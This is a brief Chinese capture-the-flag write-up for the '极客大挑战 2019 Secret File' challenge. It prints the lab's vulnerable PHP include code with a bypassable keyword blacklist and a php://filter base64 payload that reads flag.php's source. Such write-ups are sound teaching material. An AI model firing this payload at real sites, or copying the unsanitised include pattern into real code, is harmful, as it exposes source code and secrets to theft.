[极客大挑战 2019]Secret File
知识点
- php://filter 伪协议文件包含读取源代码,加上read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
过程
源代码出现Archive_room.php
,点击跳转到这个页面
再点select继续跳转到这个页面,查看源代码没发现什么特别的
使用burpsuite抓下包
发现secr3t.php
,访问得到源码
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
可以看到是文件包含,传入一个get型参数file
,首先判断if语句中不允许存在../
,tp
,data
?file=php://filter/read=convert.base64-encode/resource=flag.php
得到加密后内容,解码得到flag